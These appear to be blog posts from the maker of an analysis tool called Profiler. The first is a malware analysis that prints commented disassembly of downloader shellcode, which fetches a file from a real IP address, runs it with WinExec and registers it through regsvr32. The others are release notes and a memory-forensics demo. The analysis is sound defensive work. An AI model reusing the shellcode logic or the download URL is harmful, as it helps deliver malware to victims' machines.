We can see a web address at the end of the data. So we could just assume that the shellcode downloads an executable and runs it. But just for the sake of completeness, let's analyze it.

We can of course disassemble the shellcode by applying a filter to it (Ctrl+T->x86 disasm). But what we'll do is to use a debugger via Ctrl+R->Shellcode to execute. This way we can quickly step through what it does.

Here's the commented code:

00000000 66 83 E4 FC        and       sp, 0xfffc
00000004 FC                 cld       
00000005 85 E4              test      esp, esp
00000007 75 34              jne       0x3d

0000000A 5F                 pop       edi
0000000B 33 C0              xor       eax, eax
0000000D 64 8B 40 30        mov       eax, dword ptr fs:[eax + 0x30]
00000011 8B 40 0C           mov       eax, dword ptr [eax + 0xc]
00000014 8B 70 1C           mov       esi, dword ptr [eax + 0x1c]
00000017 56                 push      esi
00000018 8B 76 08           mov       esi, dword ptr [esi + 8]
0000001B 33 DB              xor       ebx, ebx
0000001D 66 8B 5E 3C        mov       bx, word ptr [esi + 0x3c]
00000021 03 74 33 2C        add       esi, dword ptr [ebx + esi + 0x2c]
00000025 81 EE 15 10 FF FF  sub       esi, 0xffff1015
0000002B B8 8B 40 30 C3     mov       eax, 0xc330408b
00000030 46                 inc       esi
00000031 39 06              cmp       dword ptr [esi], eax
00000033 75 FB              jne       0x30
00000035 87 34 24           xchg      dword ptr [esp], esi
00000038 85 E4              test      esp, esp
0000003A 75 51              jne       0x8d

0000003D EB 4C              jmp       0x8b

; resolve API
0000003F 51                 push      ecx
00000040 56                 push      esi
00000041 8B 75 3C           mov       esi, dword ptr [ebp + 0x3c]
00000044 8B 74 35 78        mov       esi, dword ptr [ebp + esi + 0x78]
00000048 03 F5              add       esi, ebp
0000004A 56                 push      esi
0000004B 8B 76 20           mov       esi, dword ptr [esi + 0x20]
0000004E 03 F5              add       esi, ebp
00000050 33 C9              xor       ecx, ecx
00000052 49                 dec       ecx
00000053 41                 inc       ecx
00000054 FC                 cld       
00000055 AD                 lodsd     eax, dword ptr [esi]
00000056 03 C5              add       eax, ebp
00000058 33 DB              xor       ebx, ebx
0000005A 0F BE 10           movsx     edx, byte ptr [eax]
0000005D 38 F2              cmp       dl, dh
0000005F 74 08              je        0x69
00000061 C1 CB 0D           ror       ebx, 0xd
00000064 03 DA              add       ebx, edx
00000066 40                 inc       eax
00000067 EB F1              jmp       0x5a
00000069 3B 1F              cmp       ebx, dword ptr [edi]
0000006B 75 E6              jne       0x53
0000006D 5E                 pop       esi
0000006E 8B 5E 24           mov       ebx, dword ptr [esi + 0x24]
00000071 03 DD              add       ebx, ebp
00000073 66 8B 0C 4B        mov       cx, word ptr [ebx + ecx*2]
00000077 8D 46 EC           lea       eax, dword ptr [esi - 0x14]
0000007A FF 54 24 0C        call      dword ptr [esp + 0xc]
0000007E 8B D8              mov       ebx, eax
00000080 03 DD              add       ebx, ebp
00000082 8B 04 8B           mov       eax, dword ptr [ebx + ecx*4]
00000085 03 C5              add       eax, ebp
00000087 AB                 stosd     dword ptr es:[edi], eax
00000088 5E                 pop       esi
00000089 59                 pop       ecx
0000008A C3                 ret       

0000008B EB 53              jmp       0xe0

0000008D AD                 lodsd     eax, dword ptr [esi]
0000008E 8B 68 20           mov       ebp, dword ptr [eax + 0x20]
00000091 80 7D 0C 33        cmp       byte ptr [ebp + 0xc], 0x33
00000095 74 03              je        0x9a
00000097 96                 xchg      eax, esi
00000098 EB F3              jmp       0x8d
0000009A 8B 68 08           mov       ebp, dword ptr [eax + 8]
0000009D 8B F7              mov       esi, edi
0000009F 6A 05              push      5
000000A1 59                 pop       ecx
000000A2 E8 98 FF FF FF     call      0x3f ; resolve API
000000A7 E2 F9              loop      0xa2 ; loops resolving the following APIs:
                                            ; LoadLibraryA
                                            ; WinExec
                                            ; TerminateThread
                                            ; GetTempPathA
                                            ; VirtualProtect
000000A9 E8 00 00 00 00     call      0xae
000000AE 58                 pop       eax
000000AF 50                 push      eax
000000B0 6A 40              push      0x40
000000B2 68 FF 00 00 00     push      0xff
000000B7 50                 push      eax
000000B8 83 C0 19           add       eax, 0x19
000000BB 50                 push      eax
000000BC 55                 push      ebp
000000BD 8B EC              mov       ebp, esp
000000BF 8B 5E 10           mov       ebx, dword ptr [esi + 0x10]
000000C2 83 C3 05           add       ebx, 5
000000C5 FF E3              jmp       ebx  ; calls VirtualProtect with stolen bytes
000000C7 68 6F 6E 00 00     push      0x6e6f
000000CC 68 75 72 6C 6D     push      0x6d6c7275 ; pushes URLMON string to stack
000000D1 54                 push      esp
000000D2 FF 16              call      dword ptr [esi] ; calls a gadget which calls LoadLibraryA and returns the URLMON base address
000000D4 83 C4 08           add       esp, 8
000000D7 8B E8              mov       ebp, eax
000000D9 E8 61 FF FF FF     call      0x3f ; resolves URLDownloadToFileA
000000DE EB 02              jmp       0xe2

000000E0 EB 72              jmp       0x154

000000E2 81 EC 04 01 00 00  sub       esp, 0x104
000000E8 8D 5C 24 0C        lea       ebx, dword ptr [esp + 0xc]
000000EC C7 04 24 72 65 67+ mov       dword ptr [esp], 0x73676572
000000F3 C7 44 24 04 76 72+ mov       dword ptr [esp + 4], 0x32337276
000000FB C7 44 24 08 20 2D+ mov       dword ptr [esp + 8], 0x20732d20 ; pushes "regsvr32 -s " to the stack
00000103 53                 push      ebx
00000104 68 F8 00 00 00     push      0xf8
00000109 FF 56 0C           call      dword ptr [esi + 0xc] ; call GetTempFilePathA
0000010C 8B E8              mov       ebp, eax
0000010E 33 C9              xor       ecx, ecx
00000110 51                 push      ecx
00000111 C7 44 1D 00 77 70+ mov       dword ptr [ebp + ebx], 0x74627077
00000119 C7 44 1D 05 2E 64+ mov       dword ptr [ebp + ebx + 5], 0x6c6c642e
00000121 C6 44 1D 09 00     mov       byte ptr [ebp + ebx + 9], 0 ; appends "wpbt0.dll" to the path
00000126 59                 pop       ecx
00000127 8A C1              mov       al, cl
00000129 04 30              add       al, 0x30
0000012B 88 44 1D 04        mov       byte ptr [ebp + ebx + 4], al
0000012F 41                 inc       ecx
00000130 51                 push      ecx
00000131 6A 00              push      0
00000133 6A 00              push      0
00000135 53                 push      ebx
00000136 57                 push      edi
00000137 6A 00              push      0
00000139 FF 56 14           call      dword ptr [esi + 0x14] ; calls URLDownloadToFileA with the created path with the URL: http://129.121.231.188/data/Home/w.php?f=16&e=4
0000013C 85 C0              test      eax, eax
0000013E 75 16              jne       0x156
00000140 6A 00              push      0
00000142 53                 push      ebx
00000143 FF 56 04           call      dword ptr [esi + 4] ; calls WinExec on the downloaded file
00000146 6A 00              push      0
00000148 83 EB 0C           sub       ebx, 0xc
0000014B 53                 push      ebx
0000014C FF 56 04           call      dword ptr [esi + 4] ; calls WinExec on "regsvr32 -s " followed by the downloaded file
0000014F 83 C3 0C           add       ebx, 0xc
00000152 EB 02              jmp       0x156

00000154 EB 13              jmp       0x169

00000156 47                 inc       edi
00000157 80 3F 00           cmp       byte ptr [edi], 0
0000015A 75 FA              jne       0x156
0000015C 47                 inc       edi
0000015D 80 3F 00           cmp       byte ptr [edi], 0
00000160 75 C4              jne       0x126
00000162 6A 00              push      0
00000164 6A FE              push      -2
00000166 FF 56 08           call      dword ptr [esi + 8] ; calls TerminateThread

00000169 E8 9C FE FF FF     call      0xa

So yes, in the end it just downloads the file from the address we've seen and tries to execute it, then tries to register it as a COM object. Some AV-evasion techniques are also present.

Cheers!

Profiler 2.6

Profiler 2.6 is out with the following news:

– added initial support for XML files
– added support for XDP files (extraction of embedded PDFs)
– exposed the ABC format
– improved the parsing of malformed PDF streams
– fixed the code signing on OS X to meet El Capitan requirements
– fixed the JS debugger on Linux
– various bug fixes and improvements

Enjoy!

Windows Memory Forensics

Let’s begin with an image:

Yep. That’s an icon. In an executable. In a process address space. In a raw memory dump.

And here is the video demonstration:

This is just a proof-of-concept. We still haven’t decided whether to develop this further. It really depends on whether the forensic community is interested in having such a product. So, even a re-tweet will have an impact on our decision. 🙂 We wanted to show what is currently possible and, of course, it’s not the end of the cool things which are possible.

In case we decide to go ahead with the development, we will probably create a beta-test group of potential customers and decide with them a roadmap for a 1.0 version, taking into consideration all those features which are essential to them. What we already support are the Windows versions that go from XP to 10 on the following architectures: x86, x86-PAE, x64. And, of course, the software itself, just like Profiler, runs on Windows, OS X and Linux.

And now to the more technical side if you’re interested. What we have shown in this demonstration is just a Python extension for Profiler. To be more specific, it’s only about 1000 lines of Python code and this includes all the UI views. The bulk of the work went into exposing all the necessary capabilities of our SDK to Python. Of course, all this work also benefits other extensions, not just the memory forensics ones. So, if this project ends with this post, it’s really not a tragedy, as we haven’t lost any significant time developing specific stuff for it.

So why did we choose to write our memory forensics support in Python, rather than in C++, which would’ve taken us a lot less time? The reasons are several. The memory forensic field is always changing rapidly and setting code in stone by compiling it wouldn’t be a good idea. Also, we wanted to give our customers the possibility to inspect the code and to modify it. Just by looking at existing code it’s extremely easy to write new utilities. While on the other hand, having our core engine and UI written in C++, makes our tool very fast. We think this is the perfect combination.

If you’re wondering why we didn’t use Volatility as a backbone, the answer is that it would’ve been incompatible on a licensing level and way too difficult to fit nicely into our existing framework to accomplish what we wanted to do.

We hope you enjoyed the demo and we would be happy to receive your feedback!

Profiler 2.5

Profiler 2.5 is out with the following news:

introduced scan provider extensions
added support for Torrent files
added the capability to display views as dialogs
exposed official Python bindings for capstone
– added new controls to custom views
– updated capstone to 3.0.3
fixed failed allocation security issue
– various bug fixes and improvements

Dialogs from views

In this new edition it’s possible to create dialogs out of views. Just like this:

ctx = proContext()
view = ctx.createView(ProView.Type_Custom, "Dialog title")
view.setup(view_layout, viewCallback, user_data)
dlg = ctx.createDialog(view)
dlg.show()

Of course, it doesn’t have to be a custom view, it can even be a simple text view or a hex view, although usually custom views make more sense for a dialog, as you’ll probably want to show some standard buttons like “Ok” and “Cancel” at the bottom.

Capstone bindings

While Capstone has been part of Profiler for quite some time now, now it’s possible to directly call its official Python bindings. The module can be found under ‘Pro.capstone’ and can be imported easily to be made working with existing code:

import Pro.capstone as capstone

Failed allocation security issue

In the Qt framework memory allocations fail silently, at least in the release version. We didn’t notice it, because in the debug version they would at least throw an exception preventing further execution. Since in release the execution wouldn’t be stopped, it was in some cases possible to trigger a failed allocation and then make the program use memory it didn’t own (so basically a buffer overflow). This problem has now been fixed.

Credit goes to the Insid3Code Team for having found and reported the issue.

Enjoy!